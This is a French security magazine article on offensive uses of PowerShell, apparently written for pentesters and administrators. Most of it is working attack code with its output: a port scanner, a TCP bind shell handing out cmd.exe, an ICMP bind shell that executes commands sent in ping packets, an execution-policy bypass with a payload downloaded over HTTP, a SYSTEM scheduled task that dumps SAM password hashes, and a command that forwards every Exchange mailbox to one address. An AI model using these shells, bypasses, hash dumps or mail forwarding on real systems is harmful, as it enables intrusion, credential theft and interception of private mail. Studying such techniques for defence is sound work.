CODE

GOT POWERSHELL

Benjamin Collas - Consultant Imrim – benjamin@imrim.lu - @mydeliriumz

mots-clés : POWERSHELL / SCRIPTING / ORIENTÉ OBJET / REMOTE SHELL / NMAP / SAM

Nombreuses sont les étranges ressemblances entre Powershell et les shells issus du monde libre ; il est évident que Microsoft s'en est inspiré ! Mais peut-on leur reprocher de s'inspirer des bonnes choses ? L'objectif de cet article n'est clairement pas d'alimenter cette polémique, mais de démontrer qu'un attaquant peut profiter des fonctionnalités de cet outil puissant...

1 Introduction

Outre ses similitudes avec Bash, Powershell est intéressant à étudier car il s'agit là : d'un *shell* orienté objet, donnant l'accès à l'intégralité du Framework .net, permettant d'interagir directement avec les différents composants de Microsoft (Active Directory, Exchange, SQL server, SharePoint, Hyper-V, ...), intégrant des méthodes permettant d'effectuer du *parsing* à la volée, permettant l'utilisation des expressions régulières et, évidemment, d'interagir directement avec le système de fichiers.

Présent de base sur les versions de Windows Seven et de Windows Server 2008 R2, Powershell est intimement lié au système ; pour cette raison, il ne semble pas possible de le désinstaller sans rendre le système instable.

2 Base Powershell

Contrairement au prompt classique (**cmd.exe**), Powershell se présente sous la forme d'un shell blanc sur fond *Blue Screen Of Death*, enfin extensible.

Avant de commencer, notez bien que Microsoft a introduit la notion d'alias dans Powershell par l'utilisation de la commande **Set-Alias**. La commande **Get-Alias** permet d'afficher le *listing* complet des alias. Par défaut, nous pouvons y trouver **[I]** : (voir tableau ci-contre).

2.1 Définition d'un alias

```
PS C:\misc> Set-Alias test ls
PS C:\misc> test
    Directory: C:\misc
Mode                 LastWriteTime     Length Name
----                 -------------     ------ ----
-a---         2/06/2012      0:27         16 hello
```

Cmmlet	Powershell Alias	DOS	Unix
Copy-Item	Cp, copy	Copy	Cp
Move-Item	Move, mv, mi	Move	Mv
Remove-Item	Rm, rmdir	Del	Rm
Get-Help	Man, help	Help	Man
Get-Content	Cat, gc	Type	Cat
Select-String	-	Find, findstr	Grep
Get-childitem	Ls, dir	Dir	Ls

Comme expliqué ci-dessus, Powershell a la spécificité d'être orienté objets et ceux-ci sont bien entendu manipulables. Exemple basique : nous souhaitons récupérer le contenu d'un répertoire, nous pouvons utiliser **Get-ChildItem** ou l'un de ses alias.

Si la sortie n'est pas exactement celle que vous attendez, il est possible de la modifier facilement en spécifiant la ou les propriété(s) que vous souhaitez traiter. Il n'est pas nécessaire de connaître le nom des propriétés de l'objet, la commande **Get-Member** est là pour vous aider. L'utilisation d'un *pipeline* vous permet de lister les propriétés de la commande **Get-ChildItem** (ou son alias **ls**) :

```
PS C:\misc> ls | get-member -MemberType property    TypeName: System.IO.FileInfo
Name              MemberType Definition
----              ---------- ----------
Attributes        Property   System.IO.FileAttributes Attributes {get;set}
CreationTime      Property   System.DateTime CreationTime {get;set}
CreationTimeUtc   Property   System.DateTime CreationTimeUtc {get;set}
Directory         Property   System.IO.DirectoryInfo Directory {get;}
DirectoryName     Property   System.String DirectoryName {get;}
Extension         Property   System.String Extension {get;}
FullName          Property   System.String FullName {get;}
...
```

Comme vous avez pu le constater, Powershell permet de mettre dans le « pipe » un objet... Imaginons que nous souhaitons récupérer les extensions de fichiers. Powershell permet donc ce type de syntaxe :

```
PS C:\misc> ls | select-object extension

Extension
---------
.txt
.txt
```

Autre point important, le mot-clé `$_` permet de traiter « l'objet courant » et d'utiliser les objets de pipe en pipe :

```
PS C:\misc> Get-Service | where  { $_.Displayname -match "active"  } |
foreach-object { "Service : " + $_.Name }

Service : ADWS
Service : MSExchangeADTopology
Service : NTDS
Service : UI0Detect
```

Oui, la syntaxe Powershell n'est pas très sexy, mais on finit par s'y habituer... Autre fonctionnalité pratique pour les scripts de récupération d'informations : le formatage d'une sortie au format HTML (avec CSS), CSV, XML :

```
PS C:\misc> Get-Service | select-object name,status | convertto-html > test.html
PS C:\misc> .\test.html
```

L'objectif de cet article n'étant pas de présenter l'intégralité des fonctionnalités de Powershell, reportez-vous aux articles s'y rattachant pour plus d'informations concernant son utilisation **[2]**.

3 Powershell et les sockets ?

Comme expliqué ci-dessus, Powershell permet l'utilisation des objets du Framework .net. Il est donc tout à fait possible de programmer en quelques lignes un simple « TCP scan port ». Certes, il s'agit là d'un script bien loin des possibilités d'un outil comme Nmap, mais il n'en reste pas moins efficace et ne nécessite pas l'installation de Nmap ni de la winpcap :

```
1..1024 | % {
try {write-host ((new-object Net.Sockets.TcpClient).
Connect("192.168.1.159",$_)) "$_ is open" } catch{ ; }
}
```

Sortie :

```
PS c:\misc\ > .\tcpScan.ps1
53 is open
88 is open
...
```

Ou encore un simple « port sweep » :

```
1..255 | % {
try {write-host ((new-object Net.Sockets.TcpClient).
Connect("192.168.1.$_",445)) "Open => 192.168.1.$_ " } catch{ ; }
}
```

Sortie :

```
PS c:\misc\ > .\tcpRangeScan.ps1
Open => 192.168.1.2
Open => 192.168.1.8
Powershell & Nmap
```

4 Powershell & Nmap

Il est agréable de constater qu'autour de Powershell, une communauté de « bidouilleurs » s'est créée. Conscient des possibilités de Powershell, Jason Fossen, un formateur du SANS, a développé un script capable de traiter une sortie XML d'un scan Nmap. Il s'agit là d'un bon exemple des possibilités de Powershell dans le cadre de scripts destinés à faire du parsing à la volée **[3]**.

Il n'est donc pas très compliqué de filtrer les résultats d'un ou plusieurs *scans* Nmap et de générer un rapport au format HTML ou CVS.

Pour générer un rapport au format HTML répertoriant le listing des serveurs DNS détectés lors de vos scans :

```
PS C:\misc\nmap>>> .\Parse-Nmap.ps1 *.xml  | Select-Object mac,ipv4, ports
 | where { $_.Ports -match "open:tcp:53" } | convertto-html > test.html
```

Notez que `convertto-html` permet également l'ajout d'une CSS dans le rapport.

5 TCP Remote Shell

Si vous aimez bidouiller, vous connaissez certainement les outils Netcat **[4]**, Socat et Cryptcat. Outre le fait qu'il s'agisse d'outils très pratiques pour manipuler les flux réseau, l'une de mes fonctionnalités favorites est celle-ci, qui permet d'obtenir un shell sur une machine Windows :

```
nc.exe -L -d -p 4242 -e cmd.exe
```

Malheureusement, il n'y a pas (encore) de script Powershell implémentant les fonctionnalités de Netcat. Cependant, il est tout à fait possible d'obtenir un shell distant via Powershell en redirigeant les I/O d'un processus qui exécute un `cmd.exe`.

Afin de rendre cela possible, nous allons commencer par un ouvrir un *socket* en écoute sur le port 4242 :

```
$Port = 4242
$Enc = New-Object system.Text.ASCIIEncoding

$Sock = New-Object system.Net.Sockets.TcpListener $Port
$Sock.start()

$client = $Sock.AcceptTcpClient()

$Stream = $client.GetStream()
$RecvBuf = New-Object system.Byte[] $client.ReceiveBufferSize
```

Le socket étant créé, nous pouvons lancer un processus exécutant `cmd.exe`. Notez que les propriétés `RedirectStandardInput` et `RedirectStandardOutput` **[5]** ont été mises à 1, ceci afin que nous puissions rediriger l'entrée/sortie de notre processus.

```
$MyShell = New-Object System.Diagnostics.Process
$MyShell.StartInfo.FileName = "c:\\windows\system32\cmd.exe"
$MyShell.StartInfo.UseShellExecute = 0
$MyShell.StartInfo.RedirectStandardInput = 1
$MyShell.StartInfo.RedirectStandardOutput = 1
$MyShell.Start()
```

Pour plus de lisibilité au niveau du code, nous allons stocker les I/O dans les variables **InputShell** et **OutputShell** :

```
$InputShell = $MyShell.StandardInput
$OutputShell = $MyShell.StandardOutput
Start-Sleep 1
```

À présent, il ne nous reste plus qu'à écouter sur le socket en lisant l'entrée (notre commande) et en affichant la sortie de notre commande :

```
while($Bytes = $Stream.Read($RecvBuf, 0, $RecvBuf.length))
{
  # INPUT
  $In = $Enc.GetString($RecvBuf, 0, $Bytes)
  $InputShell.write($In)

  # OUTPUT
  if(($OutputShell.Read()) -gt 0)
  {
    while($OutputShell.Peek() -ne -1)
    {
      $Out += $Enc.GetString($OutputShell.Read())
    }
    $Stream.write($Enc.GetBytes($Out), 0, $Out.length)
  }
}
```

À l'aide de ce script, on peut donc assez facilement obtenir un Shell via un client Netcat :

Sortie :

```
[ grml@labz:~/lab/misc ]$ nc 192.168.1.159 4242

Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Users\Administrator>
```

Notez que l'utilisation de **System.Diagnostics.Process** pour lancer un **cmd.exe** n'est pas forcément la meilleure des choses à faire car nous ne pouvons plus bénéficier des fonctionnalités Powershell via notre *Remote Shell* ! Voyons comment améliorer le shell et bénéficier de Powershell via un socket...

6 ICMP Bind Shell

J'ai souvent constaté que la plupart des administrateurs système désactivent le *firewall* de serveur parfois même en production. Bien que cette mauvaise habitude a tendance à m'irriter ; une autre de leur manie consiste à autoriser l'ICMP Echo Reply afin qu'ils puissent utiliser la commande **ping**. Il s'agit là d'une pratique qui n'a a priori aucun impact sécurité.

Partons donc du principe que le firewall est actif, mais que le protocole ICMP a été autorisé ; nous pouvons alors utiliser le champ de données de l'en-tête ICMP pour transmettre une commande à notre shell.

Pour que cela puisse fonctionner, notre script doit être en mesure d'intercepter les paquets ICMP, d'isoler le champ data, pour ensuite exécuter notre commande. Nous devons donc commencer par coder un *sniffer* ICMP à l'aide de Powershell.

On va commencer par créer 2 fonctions de *casting* :

```
param([String]$IpServ = "none", [String]$IpClient)

function NetworkToHostUInt16 ($value)
{
  [Array]::Reverse($value)
  [BitConverter]::ToUInt16($value,0)
}

function ByteToString ($value)
{
  $AsciiEncoding = new-object system.text.asciiencoding
  $AsciiEncoding.GetString($value)
}
```

Comme dans notre script précédent, on déclare notre socket, mais cette fois-ci, nous allons utiliser un RAW socket :

```
$ByteData = new-object byte[] 4096

$MySock = new-object system.net.sockets.socket([Net.Sockets.AddressFamily]::Inte
rNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP)
$MySock.setsocketoption("IP","HeaderIncluded",$true)
$MySock.ReceiveBufferSize = 4096

$IpEndPoint = new-object system.net.ipendpoint([net.ipaddress]"$IpServ",0)
$MySock.bind($IpEndPoint)
```

Si vous avez déjà codé un sniffer, vous savez qu'il faut avant toute chose passer la carte réseau en Promiscuous mode qui permet d'intercepter tous les paquets qu'elle reçoit (et cela même si les paquets ne lui sont pas explicitement adressés).

```
# Go Promiscuous mode
$IN = new-object byte[] 4
$OUT = new-object byte[] 4
$IN = 1,0,0,0
$OUT = 0,0,0,0

[void]$MySock.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$IN,$OUT)
```

À ce stade, il ne reste plus qu'à découper correctement les données, en commençant par l'en-tête IP **[6]** :

```
while (42)
{
  $RcvData = $MySock.receive($ByteData,0,$ByteData.length,[net.sockets.
socketflags]::None)

  # Voir RFC 791 & 792
  $MemStream = new-object System.IO.MemoryStream($ByteData,0,$RcvData)
  $BinReader = new-object System.IO.BinaryReader($MemStream)

  # IP HEADER
  $iph_Version = $BinReader.ReadByte()
  $iph_TOS= $BinReader.ReadByte()
  $iph_TotalLength = NetworkToHostUInt16 $BinReader.ReadBytes(2)
  $iph_Id = NetworkToHostUInt16 $BinReader.ReadBytes(2)
  $iph_Flag = NetworkToHostUInt16 $BinReader.ReadBytes(2)
  $iph_Ttl = $BinReader.ReadByte()
  $iph_Proto = $BinReader.ReadByte()
  $iph_Checksum = [Net.IPAddress]::NetworkToHostOrder($BinReader.ReadInt16())
  $iph_SrcIp = $BinReader.ReadUInt32()
  $iph_DstIp = $BinReader.ReadUInt32()
```

puis par l'en-tête IMCP **[7]** :

```
if ($iph_Proto -eq 1)
 {
  # ICMP HEADER
  $icmp_Type = ByteToString $BinReader.Readbytes(1)
  $icmp_Code = ByteToString $BinReader.Readbytes(1)
  $iph_Checksumm = ByteToString $BinReader.readbytes(2)
  $icmp_Id = ByteToString  $BinReader.readbytes(2)
  $icmp_Seq = ByteToString $BinReader.readbytes(2)
  $icmp_Data = ByteToString $BinReader.Readbytes(1024)
```

Pour éviter le « bruit », on filtre sur l'IP source. On peut ensuite utiliser la méthode **Invoke-Expression** afin d'exécuter notre commande. Notez que vous pouvez à présent utiliser toutes les fonctionnalités de Powershell via ce Shell distant :

```
  if ($([system.net.ipaddress]$iph_SrcIp).tostring() -eq $IpClient)
  {
   Write-Host "[-GET-] " $icmp_Data.tostring() " from " ([system.
net.ipaddress]$iph_SrcIp).tostring()
   Invoke-Expression -Command $icmp_Data.ToString()
  }
 }
 $BinReader.Close()
 $MemStream.Close()
}
```

Maintenant qu'on a notre serveur, nous avons besoin d'un client pour envoyer les commandes au *Bind Shell*. Sans se casser la tête, on peut donc utiliser **System.Net.NetworkInformation.Ping** :

```
PS C:\misc> $MySock = New-Object System.Net.NetworkInformation.Ping
PS C:\misc> $Cmd = "get-acl"
PS C:\misc> $Enc = New-Object System.Text.ASCIIEncoding
PS C:\misc> $Buf = $Enc.GetBytes($Cmd)
PS C:\misc> write-host $Buf
103 101 116 45 97 99 108
PS C:\misc> $MySock.send("192.168.1.159", 255, $Buf)
```

Output Server :

```
PS C:\misc>  .\IcmpBindShell.ps1 192.168.1.159 192.168.1.9
 [-GET-] get-acl  from  192.168.1.9
    Directory: C:\Users

Path                              Owner                          Access
----                              -----                          ------
Administrator                     BUILTIN\Administrators          NT
AUTHORITY\SYSTEM Allow  FullContr...

[-GET-] dir c: > c:\misc\test.txt  from  192.168.1.9
```

Par l'utilisation de ce script, on peut donc utiliser les commandes traditionnelles (DOS) ainsi que les cmdlet de Powershell. Vous devez avoir compris qu'il est possible d'obtenir un « vrai » Remote Shell sur ICMP en bidouillant encore un peu... Mais là, c'est à vous de jouer...

Pour les plus difficiles à convaincre, sachez qu'il est également possible de créer un tunnel SSH en utilisant la lib SharpSSH... **[8]** ou plus traditionnellement, utiliser le service de Microsoft Windows Remote Management de Microsoft qui permet l'utilisation de Powershell via HTTP ou HTTPS **[9]**.

7 Restrictions d'utilisation ?

Si vous avez tenté d'exécuter le script ci-dessus sur l'une de vos machines ; vous avez dû constater que, par défaut, Powershell est configuré pour interdire l'exécution de scripts :

```
PS C:\misc> .\ByPassRestriction.ps1
File C:\misc\ByPassRestriction.ps1 cannot be loaded because the execution of
scripts is disabled on this system. Please see "get-help about_signing" for
more details.
At line:1 char:24
+ .\ByPassRestriction.ps1 <<<<
    + CategoryInfo          : NotSpecified: (:) [], PSSecurityException
    + FullyQualifiedErrorId : RuntimeException

PS C:\Users\joe\Desktop> get-ExecutionPolicy
Restricted
```

En effet, Microsoft a mis en place quatre modes de restriction d'exécution de scripts :

- **Restricted** : interdit l'exécution de scripts (mode par défaut).
- **AllSigned** : autorise uniquement l'exécution des scripts signés (mode le plus restrictif).
- **RemoteSigned** : autorise uniquement l'exécution de scripts distants lorsqu'ils sont signés. Aucune restriction concernant les scripts locaux.
- **UnRestricted** : aucune restriction concernant l'exécution de scripts.

Pour changer le mode de restriction d'exécution de scripts, l'utilisateur doit être administrateur local de sa machine :

```
PS C:\misc> set-ExecutionPolicy unrestricted
PS C:\misc> get-ExecutionPolicy
Unrestricted
```

Cependant, même si cette restriction est active, le passage en argument d'une commande Powershell depuis un prompt DOS classique est, lui, autorisé :

```
C:\Users\joe>powershell -command write-host hello
hello
```

Sur ce principe, plusieurs chercheurs ont présenté lors de *Defcon* 18 **[10]**, le script **createcmd.ps1** **[11]**, qui permet d'encoder un script Powershell afin qu'il puisse être exécuté à partir d'un prompt DOS traditionnel.

createcmd.ps1 étant un script Powershell, il est donc nécessaire de convertir notre script Powershell à partir d'une machine autorisant l'exécution des scripts... Une fois converti, il ne reste qu'à transférer le script bat sur la machine ciblée.

Pour exemple, ce script écrit sur la machine de l'attaquant :

```
PS C:\misc> cat .\ByPassRestriction.ps1
get-ExecutionPolicy | out-file Out ascii
```

Notez que le script ci-dessus ne fait qu'écrire le statut de la restriction d'exécution en application dans le fichier Out. À présent, il reste à encoder notre script dans un fichier bat :

```
PS C:\misc> .\createcmd.ps1 .\ByPassRestriction.ps1 | out-file poc.bat ascii
```

Pour récupérer le script sur la machine ciblée, nous pouvons par exemple effectuer une simple requête HTTP sur un serveur web :

```
C:\Users\misc-test>powershell -command "(New-Object System.Net.WebClient).Downlo
adFile('http://192.168.1.2:8080/bypass.bat', 'bypass.bat')"
```

Une fois le script récupéré, il ne reste plus qu'à l'exécuter :

```
C:\Users\misc-test>bypass.bat

Load complete.
PS C:\misc> cat .\Out
Restricted
```

Nous constatons donc que le script a pu s'exécuter malgré la restriction en application sur le système ciblé. Le script **createcmd.ps1** peut s'avérer très utile pour encoder un script Powershell plus conséquent...

8 Dump de la SAM

Dans le cadre d'une post-exploitation, si l'attaquant parvient à obtenir les droits administrateur local, il lui est possible d'effectuer une extraction de la SAM. Pour rappel, la SAM est la base donnée des comptes locaux des systèmes Windows (contenant utilisateurs et mots de passe). Cette opération est possible par l'utilisation d'outils tels que pwdump. Cependant, c'est également possible avec Powershell via l'utilisation du script **PowerDump.ps1** **[12]**.

Pour extraire le contenu de la SAM, l'attaquant doit disposer des droits system32 ; le droit administrateur local n'étant pas suffisant pour effectuer cette opération. Afin de monter en privilège, l'attaquant peut utiliser la fonction « tâche planifiée » de Windows :

Script à planifier :

```
powershell -ExecutionPolicy Bypass -noLogo -command c:\misc\
powerdump.ps1 > c:\misc\MyDump.txt
```

Création de la tâche planifiée :

```
C:\misc>schtasks.exe /create /ru system /tn PowerDump /sc hourly /tr c:\
misc\PowerDumpTask.bat
```

Exécution de la tâche planifiée :

```
C:\misc\new>schtasks.exe /run /tn  PowerDump
```

Résultat :

```
C:\misc\new>type mydump.txt
Administrator:500:aad3b435b51404eeaad3b435b51401ee:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
misc-test:1000:bf145de2c1dd4d83877e3d1a81156192:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx:::
```

9 Autres aspects

Rappelons que l'utilisation première de Powershell vise à aider les administrateurs système dans leurs tâches quotidiennes ; ce qui implique que l'intégralité des cmdlet permet d'interagir directement avec l'environnement Microsoft.

Il existe bien des modules pouvant être utiles à un attaquant dans le cadre d'une post-exploitation ; notamment ceux fournis gratuitement par Quest **[13]** permettant, par exemple, la récupération de la liste des utilisateurs présents dans l'Active Directory...

```
Get-QADUser | Explort-CSV dump.csv
```

ou la cmdlet de base, nettement moins exhaustive :

```
Get-ADUser | Explort-CSV dump.csv
```

Les cmdlet Exchange, permettant le transfert de tous les mails à destination du serveur Exchange vers une seule *mailbox* :

```
Get-Mailbox | Set-Mailbox -DeliverToMailboxAndForward:$True
-ForwardingAddress ben@company.com
```

Mais Powershell peut aussi être utile dans le cadre d'une phase de collecte d'informations : dans un domaine *Active Directory*, un attaquant peut rapidement obtenir la politique de sécurité des mots de passe en place :

```
PS C:\Users\joe> $domain = [adsi]("WinNT://mydomain.lab")
PS C:\Users\joe> $domain | select-object AutoUnlockInterval,
LockoutObservationInterval, MaxBadPasswordsAllowed, MaxPasswordAge,
MinPasswordAge,MinPasswordLength, Name,PasswordHistoryLength

AutoUnlockInterval        : {1800}
LockoutObservationInterval : {1800}
MaxBadPasswordsAllowed    : {0}
MaxPasswordAge            : {3628800}
MinPasswordAge            : {86400}
MinPasswordLength         : {7}
Name                      : {mydomain.lab}
PasswordHistoryLength     : {24}
```

Conclusion

Microsoft fournit à présent un outil puissant permettant de distinguer les vrais administrateurs système des cliqueurs fous... Malheureusement, cet outil s'avère être une arme à double tranchant. En effet, plusieurs outils permettent de générer des *payloads* Powershell indétectables par la plupart des antivirus **[14]**. Microsoft semble avoir négligé les aspects sécurité de Powershell, ce qui en fait, pour un administrateur système, pour un auteur de *malware* ou pour un *pentester*, une véritable boîte de pandore...

Powershell est donc un outil puissant pour les administrateurs, mais aussi un outil redoutable pour un attaquant. ■

▪ REMERCIEMENTS

Un grand merci à Olivier Lagiewka & Gerald Bastin pour leurs conseils et leur relecture attentive.

▪ RÉFÉRENCES

[1] http://technet.microsoft.com/en-us/library/ee692685

[2] http://technet.microsoft.com/en-us/scriptcenter/powershell.aspx

[3] http://www.sans.org/windows-security/2009/06/11/powershell-script-to-parse-nmap-xml-output

[4] http://netcat.sourceforge.net/

[5] http://msdn.microsoft.com/en-us//library/system.diagnostics.process.standardoutput(v=vs.80).aspx

[6] http://www.ietf.org/rfc/rfc791.txt

[7] http://tools.ietf.org/html/rfc792

[8] http://sourceforge.net/projects/sharpssh/

[9] http://technet.microsoft.com/en-us/library/cc781778(v=ws.10)

[10] http://vimeo.com/14581715

[11] https://github.com/RC1140/ZaCon/blob/382fd2c28a5d0c0463c9392811f8f493ba369222/createcmd.ps1

[12] https://github.com/RC1140/ZaCon/blob/382fd2c28a5d0c0463c9392811f8f493ba369222/powerdump.ps1

[13] http://www.quest.com/powershell/activeroles-server.aspx

[14] http://www.infosecisland.com/blogview/22105-Social-Engineering-Toolkit-Bypassing-Antivirus-Using-Powershell.html